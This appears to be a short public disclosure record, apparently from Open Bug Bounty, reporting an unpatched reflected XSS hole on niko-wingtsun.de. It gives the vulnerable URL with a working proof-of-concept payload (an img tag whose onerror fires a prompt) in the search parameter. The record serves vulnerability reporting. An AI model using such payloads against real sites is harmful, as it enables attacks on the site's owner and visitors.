niko-wingtsun.de XSS vulnerability

Vulnerable URL: http://niko-wingtsun.de/?s=%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 12952461 VIP website status:| No...